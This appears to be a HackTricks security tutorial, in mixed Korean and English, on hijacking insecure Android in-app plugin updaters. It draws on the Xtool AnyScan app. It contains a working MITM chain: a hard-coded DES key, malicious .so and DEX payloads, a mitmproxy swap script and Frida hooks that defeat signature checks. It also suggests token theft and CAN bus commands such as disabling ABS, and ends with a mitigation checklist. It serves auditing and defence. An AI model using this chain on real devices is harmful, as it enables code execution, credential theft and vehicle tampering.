Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

많은 Android 애플리케이션은 Google Play Store를 사용하지 않고 자체적인 “plugin” 또는 “dynamic feature” 업데이트 채널을 구현합니다. 구현이 안전하지 않으면 업데이트 트래픽을 가로채거나 변조할 수 있는 공격자가 앱 프로세스 내에서 로드될 임의의 네이티브 또는 Dalvik/ART 코드를 공급할 수 있으며, 이는 핸드셋에서의 완전한 Remote Code Execution (RCE)로 이어지고 — 경우에 따라 앱이 제어하는 외부 장치(자동차, IoT, 의료기기 …)에서도 영향을 미칠 수 있습니다.

이 페이지는 Xtool AnyScan automotive-diagnostics 앱 (v4.40.11 → 4.40.40)에서 발견된 실제 취약점 체인을 요약하고, 다른 Android 앱을 감사하고 red-team 참여 시 잘못된 구성(mis-configuration)을 무기화할 수 있도록 기법을 일반화합니다.


0. Quick triage: does the app have an in‑app updater?

Static hints to look for in JADX/apktool:

  • Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • Network endpoints like /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
  • Dynamic loaders: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Unzip paths writing under app-internal or external storage, then immediately loading a .so/DEX.

Runtime hooks to confirm:

js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. 안전하지 않은 TLS TrustManager 식별

  1. jadx / apktool로 APK를 디컴파일하고 네트워킹 스택(OkHttp, HttpUrlConnection, Retrofit…)을 찾는다.
  2. 모든 인증서를 무턱대고 신뢰하는 커스텀 TrustManager 또는 HostnameVerifier를 찾는다:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. 존재할 경우 애플리케이션은 모든 TLS certificate를 수락합니다 → 투명 MITM proxy를 self-signed cert로 실행할 수 있습니다:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

If TLS pinning이 적용되어 unsafe trust-all logic 대신 작동하는 경우, 다음을 참조하세요:

Android Anti Instrumentation And Ssl Pinning Bypass

Make APK Accept CA Certificate


2. Reverse-Engineering the Update Metadata

AnyScan의 경우, 앱 실행 시마다 다음으로 HTTPS GET 요청을 보냅니다:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

응답 본문은 XML 문서이며, <FileData> 노드들은 사용 가능한 각 플러그인을 설명하는 Base64로 인코딩된, DES-ECB로 암호화된 JSON을 포함한다.

Typical hunting steps:

  1. 암호화 루틴(예: RemoteServiceProxy)을 찾고 다음을 확인한다:
  • 알고리즘 (DES / AES / RC4 …)
  • 작동 모드 (ECB / CBC / GCM …)
  • 하드코드된 키 / IV (commonly 56‑bit DES or 128‑bit AES constants)
  1. 메타데이터를 복호화/암호화하기 위해 해당 함수를 Python으로 재구현한다:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

현장에서 관찰된 사항 (2023–2025):

  • 메타데이터는 종종 JSON-within-XML 또는 protobuf 형태이며, 약한 암호화와 정적 키가 흔합니다.
  • 많은 업데이트 프로그램이 메타데이터는 HTTPS로 전달되더라도 실제 payload 다운로드에는 평문 HTTP를 허용합니다.
  • 플러그인들은 자주 앱 내부 저장소로 압축을 풀며; 일부는 여전히 외부 저장소나 레거시 requestLegacyExternalStorage를 사용해 앱 간 변조를 가능하게 합니다.

3. 악성 플러그인 제작

3.1 네이티브 라이브러리 경로 (dlopen/System.load[Library])

  1. 정식 plugin ZIP 하나를 골라 네이티브 라이브러리를 당신의 payload로 교체합니다:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. JSON 메타데이터를 수정하여 "FileName" : "PWNED.zip""DownloadURL"이 당신의 HTTP 서버를 가리키도록 합니다.
  2. 수정한 JSON을 재암호화하고 Base64 인코딩한 뒤, 가로챈 XML 내부에 다시 복사합니다.

3.2 Dex-based plugin path (DexClassLoader)

일부 앱은 JAR/APK를 다운로드하고 DexClassLoader를 통해 코드를 로드합니다. 로드 시 트리거되는 악성 DEX를 작성하세요:

java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

대상이 Class.forName("pwn.Dropper")를 호출하면 정적 초기화자가 실행됩니다; 그렇지 않으면 Frida로 로드된 클래스를 리플렉티브하게 열거하고 익스포트된 메서드를 호출합니다.


4. mitmproxy로 페이로드 전달

addon.py 예제: 원본 메타데이터를 조용히 교체합니다:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

악성 ZIP/JAR를 호스팅하기 위해 간단한 웹 서버를 실행합니다:

bash
python3 -m http.server 8000 --directory ./payloads

When the victim launches the app it will:

  • MITM 채널을 통해 우리가 위조한 XML을 fetch합니다;
  • 하드코딩된 crypto로 이를 decrypt & parse합니다;
  • PWNED.zip 또는 plugin.jar을 download → private storage 내부에 unzip합니다;
  • 포함된 .so 또는 DEX를 load하여 즉시 앱 권한(카메라, GPS, Bluetooth, filesystem, …)으로 우리 코드를 실행합니다.

Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature.


4.1 Bypassing signature/hash checks (when present)

If the updater validates signatures or hashes, hook verification to always accept attacker content:

js
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

또한 PluginVerifier.verifySignature(), checkHash() 같은 벤더 메서드를 스텁하거나 Java 또는 JNI에서 업데이트 게이팅 로직을 쇼트‑서킷하는 것을 고려하세요.


5. Other attack surfaces in updaters (2023–2025)

  • Zip Slip path traversal while extracting plugins: malicious entries like ../../../../data/data/<pkg>/files/target overwrite arbitrary files. Always sanitize entry paths and use allow‑lists.
  • External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
  • Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
  • Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
  • React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.

6. Post-Exploitation Ideas

  • Steal session cookies, OAuth tokens, or JWTs stored by the app.
  • Drop a second-stage APK and silently install it via pm install if possible (some apps already declare REQUEST_INSTALL_PACKAGES).
  • Abuse any connected hardware – in the AnyScan scenario you can send arbitrary OBD‑II / CAN bus commands (unlock doors, disable ABS, etc.).

Detection & Mitigation Checklist (blue team)

  • Avoid dynamic code loading and out‑of‑store updates. Prefer Play‑mediated updates. If dynamic plugins are a hard requirement, design them as data‑only bundles and keep executable code in the base APK.
  • Enforce TLS properly: no custom trust‑all managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
  • Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developer‑held key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
  • Use modern crypto (AES‑GCM) with per‑message nonces for metadata; remove hard‑coded keys from clients.
  • Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA‑256 hashes. Reject extra/unknown files.
  • Store downloads in app‑internal storage (or scoped storage on Android 10+) and use file permissions that prevent cross‑app tampering.
  • Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or .. segments.
  • Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기